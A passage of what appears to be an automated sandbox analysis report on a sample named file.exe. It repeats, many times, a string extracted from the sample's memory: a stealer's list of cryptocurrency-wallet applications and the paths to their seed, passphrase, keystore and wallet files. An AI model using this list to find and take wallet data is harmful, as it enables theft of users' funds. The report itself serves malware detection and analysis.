Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 